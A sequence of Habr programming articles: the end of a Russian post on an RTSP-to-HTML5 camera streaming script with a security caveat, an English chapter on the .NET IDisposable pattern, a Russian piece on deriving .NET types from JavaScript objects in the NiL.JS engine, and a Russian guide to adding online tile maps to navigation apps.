По поводу безопасности. В принципе, если сервис будет непубличным, для чего и задумывался скрипт, то всё нормально. В противном случае, любой кто «подсмотрит» ссылку на camera.php, может вытащить исходную RTSP-ссылку, пароль на камеру (он прописывается в RTSP-ссылке), и сам секретный ключ $key. Пароль на камеру дает доступ к её админке, если вы пренебрегли созданием отдельной учетной записи на этой камере специально для RTSP. Секретный же ключ даст возможность через ваш сервер «крутить» сторонние камеры. Поэтому, данный скрипт только для частного доступа. Я мог бы реализовать шифрование параметров, но… при размещении в публичный доступ ввиду отсутствия кэширования видеоряда интернет-канал быстро «забьется», как и ресурсы на сервере.
Кстати, лично у меня все камеры посредством VPN (я люблю Wireguard) связаны в одну сеть, все ссылки я прописываю с «серыми IP». Удобно, безопасно, радует.
Мой код публикуется под лицензией MIT.
В проекте используется библиотека ifvisible.js, разработанная Serkan Yerşen, лицензия MIT.
Программа: <https://github.com/carpediem-av/rtsp2html5/releases>
Репозиторий кода: <https://github.com/carpediem-av/rtsp2html5>
Страничка автора (меня): <http://carpediem.0fees.us> | https://habr.com/ru/post/545888/ | null | ru | null |
# Disposable pattern (Disposable Design Principle) pt.3
[](https://github.com/sidristij/dotnetbook)
Multithreading
--------------
Now let’s talk about thin ice. In the previous sections about IDisposable we touched one very important concept that underlies not only the design principles of Disposable types but any type in general. This is the object’s integrity concept. It means that at any given moment of time an object is in a strictly determined state and any action with this object turns its state into one of the variants that were pre-determined while designing a type of this object. In other words, no action with the object should turn it into an undefined state. This results in a problem with the types designed in the above examples. They are not thread-safe. There is a chance the public methods of these types will be called when the destruction of an object is in progress. Let’s solve this problem and decide whether we should solve it at all.
> This chapter was translated from Russian jointly by author and by [professional translators](https://github.com/bartov-e). You can help us with translation from Russian or English into any other language, primarily into Chinese or German.
>
>
>
> Also, if you want thank us, the best way you can do that is to give us a star on github or to fork repository [ github/sidristij/dotnetbook](https://github.com/sidristij/dotnetbook).
>
>
```
public class FileWrapper : IDisposable
{
IntPtr _handle;
bool _disposed;
object _disposingSync = new object();
public FileWrapper(string name)
{
_handle = CreateFile(name, 0, 0, 0, 0, 0, IntPtr.Zero);
}
public void Seek(int position)
{
lock(_disposingSync)
{
CheckDisposed();
// Seek API call
}
}
public void Dispose()
{
lock(_disposingSync)
{
if(_disposed) return;
_disposed = true;
}
InternalDispose();
GC.SuppressFinalize(this);
}
[MethodImpl(MethodImplOptions.AggressiveInlining)]
private void CheckDisposed()
{
lock(_disposingSync)
{
if(_disposed) {
throw new ObjectDisposedException();
}
}
}
private void InternalDispose()
{
CloseHandle(_handle);
}
~FileWrapper()
{
InternalDispose();
}
/// other methods
}
```
The `_disposed` validation code in Dispose() should be initialized as a critical section. In fact, the whole code of public methods should be initialized as a critical section. This will solve the problem of concurrent access to a public method of an instance type and to a method of its destruction. However, it brings other problems that become a timebomb:
* The intensive use of type instance methods as well as the creation and destruction of objects will lower the performance significantly. This is because taking a lock consumes time. This time is necessary to allocate SyncBlockIndex tables, check current thread and many other things (we will deal with them in the chapter about multithreading). That means we will have to sacrifice the object’s performance throughout its lifetime for the “last mile” of its life.
* Additional memory traffic for synchronization objects.
* Additional steps GC should take to go through an object graph.
Now, let’s name the second and, in my opinion, the most important thing. We allow the destruction of an object and at the same time expect to work with it again. What do we hope for in this situation? that it will fail? Because if Dispose runs first, then the following use of object methods will definitely result in `ObjectDisposedException`. So, you should delegate the synchronization between Dispose() calls and other public methods of a type to the service side, i.e. to the code that created the instance of `FileWrapper` class. It is because only the creating side knows what it will do with an instance of a class and when to destroy it. On the other hand, a Dispose call should produce only critical errors, such as `OutOfMemoryException`, but not IOException for example. This is because of the requirements for the architecture of classes that implement IDisposable. It means that if Dispose is called from more than one thread at a time, the destruction of an entity may happen from two threads simultaneously (we skip the check of `if(_disposed) return;`). It depends on the situation: if a resource *can be* released several times, there is no need in additional checks. Otherwise, protection is necessary:
```
// I don’t show the whole pattern on purpose as the example will be too long
// and will not show the essence
class Disposable : IDisposable
{
private volatile int _disposed;
public void Dispose()
{
if(Interlocked.CompareExchange(ref _disposed, 1, 0) == 0)
{
// dispose
}
}
}
```
Two levels of Disposable Design Principle
-----------------------------------------
What is the most popular pattern to implement `IDisposable` that you can meet in .NET books and the Internet? What pattern is expected from you during interviews for a potential new job? Most probably this one:
```
public class Disposable : IDisposable
{
bool _disposed;
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if(disposing)
{
// here we release managed resources
}
// here we release unmanaged resources
}
protected void CheckDisposed()
{
if(_disposed)
{
throw new ObjectDisposedException();
}
}
~Disposable()
{
Dispose(false);
}
}
```
What is wrong with this example and why we haven’t written like this before? In fact, this is a good pattern suitable for all situations. However, its ubiquitous use is not a good style in my opinion as we almost don’t deal with unmanaged resources in practice that makes half of the pattern serve no purpose. Moreover, since it simultaneously manages both managed and unmanaged resources, it violates the principle of responsibility division. I think this is wrong. Let’s look at a slightly different approach. *Disposable Design Principle*. In brief, it works as follows:
Disposing is divided into two levels of classes:
* Level 0 types directly encapsulate unmanaged resources
+ They are either abstract or packed.
+ All methods should be marked:
– PrePrepareMethod, so that a method could be compiled when loading a type
- SecuritySafeCritical to protect against a call from the code, working under restrictions
- ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success / MayFail)] to put CER for a method and all its child calls
– They can reference Level 0 types, but should increment the counter of referencing objects to guarantee the right order of entering the “last mile”
* Level 1 types encapsulate only managed resources
+ They are inherited only from Level 1 types or directly implement IDisposable
+ They cannot inherit Level 0 types or CriticalFinalizerObject
+ They can encapsulate Level 1 and Level 0 managed types
+ They implement IDisposable.Dispose by destroying encapsulated objects starting from Level 0 types and going to Level 1
+ They don’t implement a finalizer as they don’t deal with unmanaged resources
+ They should contain a protected property that gives access to Level 0 types.
That is why I used the division into two types from the beginning: the one that contains a managed resource and the one with unmanaged resource. They should function differently.
Other ways to use Dispose
-------------------------
The idea behind the creation of IDisposable was to release unmanaged resources. But as with many other patterns it is very helpful for other tasks, e.g. to release references to managed resources. Though releasing managed resources doesn’t sound very helpful. I mean they are called managed on purpose so we would relax with a grin regarding C/C++ developers, right? However, it is not so. There always may be a situation where we lose a reference to an object but at the same time think that everything is OK: GC will collect garbage, including our object. However, it turns out that memory grows. We get into the memory analysis program and see that something else holds this object. The thing is that there can be a logic for implicit capture of a reference to your entity in both .NET platform and the architecture of external classes. As the capture is implicit, a programmer can miss the necessity of its release and then get a memory leak.
### Delegates, events
Let’s look at this synthetic example:
```
class Secondary
{
Action _action;
void SaveForUseInFuture(Action action)
{
_action = action;
}
public void CallAction()
{
_action();
}
}
class Primary
{
Secondary _foo = new Secondary();
public void PlanSayHello()
{
_foo.SaveForUseInFuture(Strategy);
}
public void SayHello()
{
_foo.CallAction();
}
void Strategy()
{
Console.WriteLine("Hello!");
}
}
```
Which problem does this code show? Secondary class stores `Action` type delegate in `_action` field that is accepted in `SaveForUseInFuture` method. Next, `PlanSayHello` method inside `Primary` class passes pointer to `Strategy` method to `Secondary` class. It is curious but if, in this example, you pass somewhere a static method or an instance method, the passed `SaveForUseInFuture` will not be changed, but a `Primary` class instance will be referenced *implicitly* or not referenced at all. Outwardly it looks like you instructed which method to call. But in fact, a delegate is built not only using a method pointer but also using the pointer to an instance of a class. A calling party should understand for which instance of a class it has to call the `Strategy` method! That is the instance of `Secondary` class has implicitly accepted and holds the pointer to the instance of `Primary` class, though it is not indicated explicitly. For us it means only that if we pass `_foo` pointer somewhere else and lose the reference to `Primary`, then GC *will not collect* `Primary` object, as `Secondary` will hold it. How can we avoid such situations? We need a determined approach to release a reference to us. A mechanism that perfectly fits this purpose is `IDisposable`
```
// This is a simplified implementation
class Secondary : IDisposable
{
Action _action;
public event Action OnDisposed;
public void SaveForUseInFuture(Action action)
{
\_action = action;
}
public void CallAction()
{
\_action?.Invoke();
}
void Dispose()
{
\_action = null;
OnDisposed?.Invoke(this);
}
}
```
Now the example looks acceptable. If an instance of a class is passed to a third party and the reference to `_action` delegate will be lost during this process, we will set it to zero and the third party will be notified about the destruction of the instance and delete the reference to it.
The second danger of code that runs on delegates is the functioning principles of `event`. Let’s look what they result in:
```
// a private field of a handler
private Action \_event;
// add/remove methods are marked as [MethodImpl(MethodImplOptions.Synchronized)]
// that is similar to lock(this)
public event Action OnDisposed {
add { lock(this) { \_event += value; } }
remove { lock(this) { \_event -= value; } }
}
```
C# messaging hides the internals of events and holds all the objects that subscribed to update through `event`. If something goes wrong, a reference to a signed object remains in `OnDisposed` and will hold the object. It is a strange situation as in terms of architecture we get a concept of “events source” that shouldn’t hold anything logically. But in fact, objects subscribed to update are held implicitly. In addition, we cannot change something inside this array of delegates though the entity belongs to us. The only thing we can do is to delete this list by assigning null to an events source.
The second way is to implement `add`/`remove` methods explicitly, so we could control a collection of delegates.
> Another implicit situation may appear here. It may seem that if you assign null to an events source, the following subscription to events will cause `NullReferenceException`. I think this would be more logical.
However, this is not true. If external code subscribes to events after an events source is cleared, FCL will create a new instance of Action class and store it in `OnDisposed`. This implicitness in C# can mislead a programmer: dealing with nulled fields should produce a sort of alertness rather than calmness. Here we also demonstrate an approach when the carelessness of a programmer can lead to memory leaks.
### Lambdas, closures
Using such syntactic sugar as lambdas is especially dangerous.
> I would like to touch upon syntactic sugar as a whole. I think you should use it rather carefully and only if you know the outcome exactly. Examples with lambda expressions are closures, closures in Expressions and many other miseries you can inflict upon yourself.
Of course, you may say you know that a lambda expression creates a closure and can result in a risk of resource leak. But it is so neat, so pleasant that it is hard to avoid using lambda instead of allocating the entire method, that will be described in a place different from where it will be used. In fact, you shouldn’t buy into this provocation, though not everybody can resist. Let’s look at the example:
```
button.Clicked += () => service.SendMessageAsync(MessageType.Deploy);
```
Agree, this line looks very safe. But it hides a big problem: now `button` variable implicitly references `service` and holds it. Even if we decide that we don’t need `service` anymore, `button` will still hold the reference while this variable is alive. One of the ways to solve this problem is to use a pattern for creating `IDisposable` from any `Action` (`System.Reactive.Disposables`):
```
// Here we create a delegate from a lambda
Action action = () => service.SendMessageAsync(MessageType.Deploy);
// Here we subscribe
button.Clicked += action;
// We unsubscribe
var subscription = Disposable.Create(() => button.Clicked -= action);
// where it is necessary
subscription.Dispose();
```
Admit, this looks a bit lengthy and we lose the whole purpose of using lambda expressions. It is much safer and simpler to use common private methods to capture variables implicitly.
### ThreadAbort protection
When you create a library for an third-party developer, you cannot predict its behavior in a third-party application. Sometimes you can only guess what a programmer did to your library that caused a particular outcome. One example is functioning in a multithreaded environment when the consistency of resources cleanup can become a critical issue. Note that when we write the `Dispose()` method, we can guarantee the absence of exceptions. However, we cannot ensure that while running the `Dispose()` method no `ThreadAbortException` will occur that disables our thread of execution. Here we should remember that when `ThreadAbortException` occurs, all catch/finally blocks are executed anyway (at the end of a catch/finally block ThreadAbort occurs further along). So, to ensure execution of a certain code by using Thread.Abort you need to wrap a critical section in `try { ... } finally { ... }`, see the example below:
```
void Dispose()
{
if(_disposed) return;
_someInstance.Unsubscribe(this);
_disposed = true;
}
```
One can abort this at any point using `Thread.Abort`. It partially destroys an object, though you can still work with it in the future. At the same time, the following code:
```
void Dispose()
{
if(_disposed) return;
// ThreadAbortException protection
try {}
finally
{
_someInstance.Unsubscribe(this);
_disposed = true;
}
}
```
is protected from such an abort and will run smoothly and for sure, even if `Thread.Abort` appears between calling `Unsubscribe` method and executing its instructions.
Results
-------
### Advantages
Well, we learned a lot about this simplest pattern. Let’s determine its advantages:
1. The main advantage of the pattern is the capability to release resources determinately i.e. when you need them.
2. The second advantage is the introduction of a proven way to check if a specific instance requires to destroy its instances after using.
3. If you implement the pattern correctly, a designed type will function safely in terms of use by third-party components as well as in terms of unloading and destroying resources when a process crashes (for example because of lack of memory). This is the last advantage.
### Disadvantages
In my opinion, this pattern has more disadvantages than advantages.
1. On the one hand, any type that implements this pattern instructs other parts that if they use it they take a sort of public offer. This is so implicit that as in case of public offers a user of a type doesn’t always know that the type has this interface. Thus you have to follow IDE prompts (type a period, Dis… and check if there is a method in the filtered member list of a class). If you see a Dispose pattern, you should implement it in your code. Sometimes it doesn’t happen straight away and in this case you should implement a pattern through a system of types that adds functionality. A good example is that `IEnumerator` entails `IDisposable`.
2. Usually when you design an interface there is a need to insert IDisposable into the system of a type’s interfaces when one of the interfaces have to inherit IDisposable. In my opinion, this damages the interfaces we designed. I mean when you design an interface you create an interaction protocol first. This is a set of actions you can perform with *something* hidden behind the interface. `Dispose()` is a method for destroying an instance of a class. This contradicts the essence of an *interaction protocol*. In fact, these are the details of implementation that infiltrated into the interface.
3. Despite being determined, Dispose() doesn’t mean direct destruction of an object. The object will still exist after its *destruction* but in another state. To make it true CheckDisposed() must be the first command of each public method. This looks like a temporary solution that somebody gave us saying: “Go forth and multiply”;
4. There is also a small chance to get a type that implements `IDisposable` through *explicit* implementation. Or you can get a type that implements IDisposable without a chance to determine who must destroy it: you or the party that gave it to you. This resulted in an antipattern of multiple calls of Dispose() that allows to destroy a destroyed object;
5. The complete implementation is difficult, and it is different for managed and unmanaged resources. Here the attempt to facilitate the work of developers through GC looks awkward. You can override `virtual void Dispose()` method and introduce some DisposableObject type that implements the whole pattern, but that doesn’t solve other problems connected with the pattern;
6. As a rule Dispose() method is implemented at the end of a file while '.ctor' is declared at the beginning. If you modify a class or introduce new resources, it is easy to forget to add disposal for them.
7. Finally, it is difficult to determine the order of *destruction* in a multithreaded environment when you use a pattern for object graphs where objects fully or partially implement that pattern. I mean situations when Dispose() can start at different ends of a graph. Here it is better to use other patterns, e.g. the Lifetime pattern.
8. The wish of platform developers to automate memory control combined with realities: applications interact with unmanaged code very often + you need to control the release of references to objects so Garbage Collector could collect them. This adds great confusion in understanding such questions as: “How should we implement a pattern correctly”? “Is there a reliable pattern at all”? Maybe calling `delete obj; delete[] arr;` is simpler?
Domain unloading and exit from an application
---------------------------------------------
If you got to this part, you became more confident in the success of future job interviews. However, we didn’t discuss all the questions connected with this simple, as it may seem, pattern. The last question is whether the behavior of an application differs in case of simple garbage collection and when garbage is collected during domain unloading and while exiting the application. This question merely touches upon `Dispose()`… However `Dispose()` and finalization go hand in hand and we rarely meet an implementation of a class which has finalization but doesn't have `Dispose()` method. So, let’s describe finalization in a separate section. Here we just add a few important details.
During application domain unloading you unload both assemblies loaded into the application domain and all objects that were created as part of the domain to be unloaded. In fact, this means the cleanup (collection by GC) of these objects and calling finalizers for them. If the logic of a finalizer waits for finalization of other objects to be destroyed in the right order, you may pay attention to `Environment.HasShutdownStarted` property indicating that an application is unloaded from memory and to `AppDomain.CurrentDomain.IsFinalizingForUnload()` method indicating that this domain is unloaded which is the reason for finalization. If these events occur the order of resources finalization generally becomes unimportant. We cannot delay either the unloading of domain or an application as we should do everything as quickly as possible.
This is the way this task is solved as part of a class [LoaderAllocatorScout](http://referencesource.microsoft.com/#mscorlib/system/reflection/loaderallocator.cs,25551b0f6db5f579)
```
// Assemblies and LoaderAllocators will be cleaned up during AppDomain shutdown in
// an unmanaged code
// So it is ok to skip reregistration and cleanup for finalization during appdomain shutdown.
// We also avoid early finalization of LoaderAllocatorScout due to AD unload when the object was inside DelayedFinalizationList.
if (!Environment.HasShutdownStarted &&
!AppDomain.CurrentDomain.IsFinalizingForUnload())
{
// Destroy returns false if the managed LoaderAllocator is still alive.
if (!Destroy(m_nativeLoaderAllocator))
{
// Somebody might have been holding a reference on us via weak handle.
// We will keep trying. It will be hopefully released eventually.
GC.ReRegisterForFinalize(this);
}
}
```
Typical implementation faults
-----------------------------
As I showed you there is no universal pattern to implement IDisposable. Moreover, some reliance on automatic memory control misleads people and they make confusing decisions when implementing a pattern. The whole .NET Framework is riddled with errors in its implementation. To prove my point, let’s look at these errors using the example of .NET Framework exactly. All implementations are available via: [IDisposable Usages](http://referencesource.microsoft.com/#mscorlib/system/idisposable.cs,1f55292c3174123d,references)
**FileEntry Class** [cmsinterop.cs](http://referencesource.microsoft.com/#mscorlib/system/deployment/cmsinterop.cs,eeedb7095d7d3053,references)
> This code is written in a hurry just to close the issue. Obviously, the author wanted to do something but changed his mind and kept a flawed solution
```
internal class FileEntry : IDisposable
{
// Other fields
// ...
[MarshalAs(UnmanagedType.SysInt)] public IntPtr HashValue;
// ...
~FileEntry()
{
Dispose(false);
}
// The implementation is hidden and complicates calling the *right* version of a method.
void IDisposable.Dispose() { this.Dispose(true); }
// Choosing a public method is a serious mistake that allows for incorrect destruction of
// an instance of a class. Moreover, you CANNOT call this method from the outside
public void Dispose(bool fDisposing)
{
if (HashValue != IntPtr.Zero)
{
Marshal.FreeCoTaskMem(HashValue);
HashValue = IntPtr.Zero;
}
if (fDisposing)
{
if( MuiMapping != null)
{
MuiMapping.Dispose(true);
MuiMapping = null;
}
System.GC.SuppressFinalize(this);
}
}
}
```
**SemaphoreSlim Class** [System/Threading/SemaphoreSlim.cs](https://github.com/dotnet/coreclr/blob/cbcdbd25e74ff9d963eafa202dd63504ca537f7e/src/mscorlib/src/System/Threading/SemaphoreSlim.cs)
> This error is in the top of errors of .NET Framework regarding IDisposable: SuppressFinalize for classes where there is no finalizer. It is very common.
```
public void Dispose()
{
Dispose(true);
// As the class doesn’t have a finalizer, there is no need in GC.SuppressFinalize
GC.SuppressFinalize(this);
}
// The implementation of this pattern assumes the finalizer exists. But it doesn’t.
// It was possible to do with just public virtual void Dispose()
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
if (m_waitHandle != null)
{
m_waitHandle.Close();
m_waitHandle = null;
}
m_lockObj = null;
m_asyncHead = null;
m_asyncTail = null;
}
}
```
**Calling Close+Dispose** [Some NativeWatcher project code](https://github.com/alexguirre/NativeWatcher/blob/7208d463c41a709f29c60264bc518c6c0c5713cc/NativeWatcher/Forms/FormsManager.cs)
> Sometimes people call both Close and Dispose. This is wrong though it will not produce an error as the second Dispose doesn’t generate an exception.
In fact, Close is another pattern to make things clearer for people. However, it made everything more unclear.
```
public void Dispose()
{
if (MainForm != null)
{
MainForm.Close();
MainForm.Dispose();
}
MainForm = null;
}
```
General results
---------------
1. IDisposable is a standard of the platform and the quality of its implementation influences the quality of the whole application. Moreover, in some situation it influences the safety of your application that can be attacked via unmanaged resources.
2. The implementation of IDisposable must be maximally productive. This is especially true about the section of finalization, that works in parallel with the rest of code, loading Garbage Collector.
3. When implementing IDisposable you shouldn't use Dispose() simultaneously with public methods of a class. The destruction cannot go along with usage. This should be considered when designing a type that will use IDisposable object.
4. However, there should be a protection against calling ‘Dispose()’ from two threads simultaneously. This results from the statement that Dispose() shouldn’t produce errors.
5. Types that contain unmanaged resources should be separated from other types. I mean if you wrap an unmanaged resource, you should allocate a separate type for it. This type should contain finalization and should be inherited from `SafeHandle / CriticalHandle / CriticalFinalizerObject`. This separation of responsibility will result in improved support of the type system and will simplify the implementation to destroy instances of types via Dispose(): the types with this implementation won't need to implement a finalizer.
6. In general, this pattern is not comfortable in use as well as in code maintenance. Probably, we should use Inversion of Control approach when we destroy the state of objects via `Lifetime` pattern. However, we will talk about it in the next section.
> This chapter was translated from Russian jointly by author and by [professional translators](https://github.com/bartov-e). You can help us with translation from Russian or English into any other language, primarily into Chinese or German.
>
>
>
> Also, if you want thank us, the best way you can do that is to give us a star on github or to fork repository [ github/sidristij/dotnetbook](https://github.com/sidristij/dotnetbook).
>
> | https://habr.com/ru/post/443962/ | null | en | null |
# Наследуем тип .NET от JavaScript объекта с перегрузками и приватными методами
Да, именно так и никаких уловок. Эта идея мою голову посетила около двух месяцев назад в процессе обдумывания статьи об [Алгоритмах и решениях](http://habrahabr.ru/post/243399/). Типы .NET в том движке использовать легко, а можно ли наоборот…
**Немного о движке**В предыдущей статье я старался меньше писать об особенностях и больше о том, что может быть полезно в отрыве от cкриптования вообще, дабы статья была меньше похожа на саморекламу. Буквально, с первых комментариев я понял, что это было ошибкой.
**Скорость**
Он быстр. Очень быстр. За прошедший месяц с небольшим было перелопачено много кода и разобрано множество частных случаев и сделаны выводы. К примеру, в зависимости от того, как написана функция и какие языковые средства используются, её вызов может происходить по одному из более чем 10 сценариев от эквивалента инлайна до честного выделения памяти под каждую переменную и аргумент и полную инициализацию контекста.
**Простота интеграции**
Вся тяжелая «кухня» по обеспечению доступа к типам платформы скрыта за одной скромной функцией
```
JSObject TypeProxy.Proxy(object)
```
Вы просто отдаёте практически любой объект и результат назначаете переменной
```
var script = new Script(" megaObject.alert('Hello from javascript') ");
script.Context.DefineVariable("megaObject")
.Assign(TypeProxy.Proxy(new { alert = new Action(x => MessageBox.Show(x)) });
script.Invoke();
```
Для типов, реализующих интерфейс IList есть специальная обёртка *NiL.JS.Core.TypeProxing.NativeList*, маскирующая такой объект под родной массив js.
Можно зарегистрировать конструктор типа и создавать объекты уже во время выполнения сценария. Добавится переменная с именем типа.
```
script.Context.AttachModule(typeof(System.Windows.Forms.Form));
```
Если лень добавлять типы по одному, можно добавить целое пространство имён
```
Context.GlobalContext.DefineVariable
("forms") // имя переменной, через которую будет доступно пространство имён.
.Assign(new NamespaceProvider
("System.Windows.Forms")); // пространство имён, к которому будет осуществляться доступ.
```
**Не только выполнение**
Каждый узел синтаксического дерева доступен извне сборки. Вы можете реализовать свою виртуальную машину, транслятор в другой язык, статический анализатор (если будет недостаточно интегрированного) или ещё что-то, на что способна ваша фантазия. Каждое использование всех переменных хранит ссылку на соответствующий дескриптор, который может рассказать некоторую информацию о ней. Например, показать все места использования, которые «выжили» после оптимизации. А пару недель назад был реализован, так называемый, Visitor с помощью которого всё перечисленное сделать ещё проще.
Общая схема
===========
Для того, чтобы наследовать тип в платформе .NET нужна сборка, лежащая на диске, в которой хранится информация о типе (метаданные). Но пока JS файл лежит на диске, там никаких типов нет. Они там появятся только во время выполнения, когда логика этого сценария разделит функции на, собственно, функции и конструкторы. Решение этой загвоздки нашлось почти сразу — я добавил в глобальный контекст функцию, которая принимает на вход конструктор («registerClass»). Таким образом, я, как бы, прошу мне показать, для каких js-функций стоит генерировать метаданные. Однако, это требует холостого запуска.
После того, как выполнение закончилось, с помощью System.Reflection.Emit создаётся сохраняемая сборка в которой объявляется по одному классу для каждого зарегистрированного конструктора плюс ещё один статический, который будет хранить код javascript и запускать его при первом обращении. На этом этапе запуск registerClass() уже используется для того, чтобы поставить в соответствие типы в сборке с типами в сценарии. Все типы-обёртки унаследованы от одного типа в котором описаны базовые механизмы взаимодействия. Состав типов формируется на основе того, что было найдено в прототипе конструктора.
```
function ctor() {
}
ctor.prototype // есть у каждой функции кроме некоторых встроенных
```
Таким образом, если добавить неперечисляемое свойство в прототип, оно не попадёт в метаданные и станет «приватным».
*Отлично, теперь можно создавать объекты JS как объекты .NET, но где обещанные наследование и перегрузки?!*
Это решилось проще. Для того, чтобы понять, какие методы перегружены, в конструкторе базового типа выполняется проход по всем функциям в типе (понимаю, не совсем удачное место, но для прототипа реализации этого достаточно) и проверяется предок типа их объявившего. Все переопределённые методы становятся объявленными в типе-наследнике. Все методы, которые найдутся такой проверкой, добавляются в JS реализацию типа. Всё.
Теперь даже новые добавленные функции будут доступны в js, им не требуется быть перегруженными.
Код получился не большим, вы можете посмотреть его на [GitHub](https://github.com/nilproject/NiL.DA)
**P.S.** Это решение, по крайней мере, на данном этапе, не пригодно для серьёзного использования. Это эксперимент. | https://habr.com/ru/post/247185/ | null | ru | null |
# Подключаем онлайн-карты к навигатору на смартфоне. Часть 1 — стандартные растровые карты
Что из себя представляют онлайн-карты? Как узнать адрес сервера заинтересовавшей вас карты? Как создать файл с настройками, который позволит навигатору на смартфоне подключиться к этой карте?
### Содержание:
1 – Вступление. Стандартные растровые карты
2 – [Продолжение. Пишем простой растеризатор для векторных карт](https://habr.com/ru/post/461053/)
3 – [Частный случай. Подключаем карту OverpassTurbo](https://habr.com/ru/post/461073/)
### Вступление
Среди навигационных приложений для смартфонов существует такие, которые предназначены для туризма и всевозможных загородных активностей. Среди наиболее известных из них можно выделить OsmAnd, Locus и GuruMaps. Всех их отличает большое количество специализированных функций, которые могут пригодится в пути. А так же еще большее количество всевозможных (порой весьма запутанных) настроек. Но сейчас нам более всего интересна одна: возможность добавлять дополнительные карты и быстро переключаться между ними.
Замечу, что это крайне полезная функция. Ведь один и тот же участок местности может быть весьма по разному отрисован на [картах разных типов](https://shuriktravel.ru/maps/). И поэтому, перед преодолением сложных участков, полезно иметь возможность свериться с каждой из них. Однако, если бы для этого требовалось запускать на смартфоне несколько отдельных приложений, то это было бы крайне неудобно. Проседает производительность, да и батарея быстрее расходуется. Так что очень приятно, что существует возможность обойтись всего одним приложением: этаким картографическим агрегатором с удобным интерфейсом, специально рассчитанным на быстрое переключение между картами.
Так вот. Как правило, добавление новых карт реализовано сравнительно просто. В папке приложения есть подпапка с **пресетами**. То есть, с файлами сохранений, в которых указаны настройки для скачивания той или иной карты. Давайте посмотрим, что они из себя представляют.
Замечу, что у всех приложений пресеты более или менее похожи. Так что в качестве примера мы будем рассматривать GuruMaps, ведь он есть и под Android, и под iOS. Итак, давайте представим, что мы зашли в папку с его пресетами, обнаружили там файл с названием *openstreetmaps.ms*, а затем открыли его с помощью обычного текстового редактора.
```
xml version="1.0" encoding="UTF-8"?
OpenStreetMaps
0
18
http://{$serverpart}.tile.openstreetmap.org/{$z}/{$x}/{$y}.png
a b c
```
По сути, перед нами просто список из нескольких значений. Рассмотрим их по порядку:
**name** — Название карты, которое будет отображаться в приложении
**minZoom** — С какого уровня приближения будет показываться эта карта
**maxZoom** — До какого уровня приближения будет показываться эта карта
**url** — Шаблон для доступа к файлам карты
**serverParts** — Если у сервера, на котором хранятся файлы карты, есть несколько зеркал, то нужно перечислить их названия
Прежде, чем двинуться дальше, замечу, что для хранения на серверах большие карты разбиваются на маленькие кусочки. Обычно это изображения в формате png с размером 256х256 пикселей. Эти фрагменты называются **тайлы**.
А теперь подробнее приглядимся к шаблону url.
`http://{$serverpart}.tile.openstreetmap.org /{$z}/{$x}/{$y}.png`
Навигатор автоматически заменяет слова в фигурных скобках на “координаты” требуемого в данный момент фрагмента карты. Вот что именно будет подставлено на место заглушек:
**{$serverpart}** – Сюда будет подставлено одно из значений serverParts
**{$z}** – Уровень приближения (zoom), для которого нужно скачать фрагмент карты
**{$x}** – Номер фрагмента карты по горизонтали
**{$y}** – Номер фрагмента карты по вертикали
После подстановки значений навигатор получит ссылку, по которой затем скачает файл с требуемым фрагментом карты. К примеру, такую:
`http://a.tile.openstreetmap.org /12/2478/1265.png`
Когда загрузка завершится, скачанный тайл отобразится на экране смартфона.
### Добавляем свою карту
Итак, допустим, вы нашли в интернете карту, которая вас заинтересовала и которую вы бы очень хотели подключить к своему смартфону. Давайте попробуем. Для начала с помощью браузера на компьютере заходим на сайт с окном просмотра этой карты. Например [на этот](https://nakarte.me/#m=11/43.33558/42.49329&l=-cseyJuYW1lIjoiXHUwNDEzXHUwNDM1XHUwNDNkXHUwNDQ4XHUwNDQyXHUwNDMwXHUwNDMxLiBcdTA0MTJcdTA0NDFcdTA0MzUgXHUwNDNjXHUwNDMwXHUwNDQxXHUwNDQ4XHUwNDQyXHUwNDMwXHUwNDMxXHUwNDRiIiwidXJsIjoiaHR0cHM6Ly9hbnlnaXMuaGVyb2t1YXBwLmNvbS9Db21ib19CZXN0X0dlbnNodGFiL3t4fS97eX0ve).
Открываем панель с инструментами разработчика (Ctrl + Alt + I для Google Chrome)
В открывшейся панели переходим на вкладку Sources.
Открываем по порядку все папки, пока не найдем папку изображениями кусочков отображаемой карты.
Жмем правой кнопкой на имя файла. В открывшемся меню выбираем Copy link address
К примеру, нам попалась вот такая ссылка
`http://anygis.herokuapp.com/Combo_Best_Topo/1242/639/11`
Нужно понять, что именно обозначают эти цифры. Проверяем из по нашей эталонной карте — OpenStreetMaps.
`http://a.tile.openstreetmap.org/1242/639/11.png`
Не загружается. Попробуем поменять цифры местами.
`http://a.tile.openstreetmap.org/11/1242/639.png`
Загрузилось! А теперь сравним тайл полученные по первой и по второй ссылке:
Мы убедились, что тайлы обеих этих карт показывают одно и то же место. И, что самое главное, без смещений. Значит найденная нами карта сделана в стандартной проекции и она подходит для подключения.
Чтож, а теперь, зная, в каком порядке шли координаты у OpenStreetMaps – **z,x,y** – мы можем с уверенностью сказать, в каком они идут у нашей карты.
`http://anygis.herokuapp.com/Combo_Best_Topo/{$x}/{$y}/{$z}`
Теперь поприближаем и поотдаляем карту в окне просмотра. Так мы выясним, что карта загружается только с 0-го и по 15-й зум.
Далее, если бы url начинался с одиночной буквы или цифры, то можно было бы поподставлять туда другие значения. Но обычно там или **a,b,c** или **0,1,2,3**.
Итак, теперь мы выяснили все необходимые параметры и можем сделать пресет для нашей новой карты.
```
xml version="1.0" encoding="UTF-8"?
Советские топокарты
0
15
http://anygis.herokuapp.com/Combo\_Best\_Topo/{$x}/{$y}/{$z}
```
Остается сохранить файл под новым именем и добавить его в свое навигационное приложение. Для iOS – просто перетащите файл в папку приложения (через iTunes). Для Android – скопируйте файл в следующую директорию:
`Android\data\com.bodunov.GalileoPro\files\Imported`
Теперь, когда вы откроете навигатор, в списке карт появится сделанная вами. Поздравляю!
Как видите, это было довольно просто. И что самое приятное, весь процесс более или менее аналогичен для всех вышеперечисленных навигаторов. Быстро, универсально, кроссплатформенно.
Конечно, бывают карты в нестандартных проекциях. Или с нестандартной нумерацией. [В этой статье](https://nnngrach.github.io/AnyGIS_maps/Web/Html/Description_ru) я описал, как можно решить данную проблему. И все же подавляющее большинство карт, которые встречаются в интернете, подключаются легко и без дополнительных заморочек.
Кстати, на моем сайте [AnyGIS](https://nnngrach.github.io/AnyGIS_maps/Web/Html/DownloadPage_ru) вы можете скачать уже готовые пресеты. Они автоматически генерируются в форматы всех вышеперечисленных навигаторов на основе собранной мной базы данных. И периодически обновляются. Так что, если нужно, скачивайте и пользуйтесь.
